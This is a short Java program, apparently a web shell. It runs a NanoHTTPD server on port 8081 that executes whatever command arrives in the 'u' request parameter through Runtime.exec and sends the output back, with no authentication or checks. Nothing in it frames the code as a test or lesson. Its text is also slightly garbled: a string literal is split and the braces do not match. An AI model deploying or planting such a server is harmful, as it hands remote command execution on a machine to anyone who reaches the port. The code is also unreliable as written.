import java.io.BufferedReader; import java.io.InputStreamReader; import fi.iki.elonen.NanoHTTPD; public class Srv extends NanoHTTPD{ public Srv() throws Exception{ super(8081); start(NanoHTTPD.SOCKET_READ_TIMEOUT,false); } public static void main(String[]args){ try{ new Srv();} catch(Exception e){ System.err.println("E " +e);}} @Override public Response serve(IHTTPSession s){ String u=s.getParms().get("u"); String m="
"; String l=null; try{ Runtime r=Runtime.getRuntime(); Process p=r.exec(u); BufferedReader i=new BufferedReader(new InputStreamReader(p.getInputStream())); while((l=i.readLine())!=null){ m+=l+"\n"; m+="";}} catch(Exception e){m+="E "+e;}} return newFixedLengthResponse(m+"");}}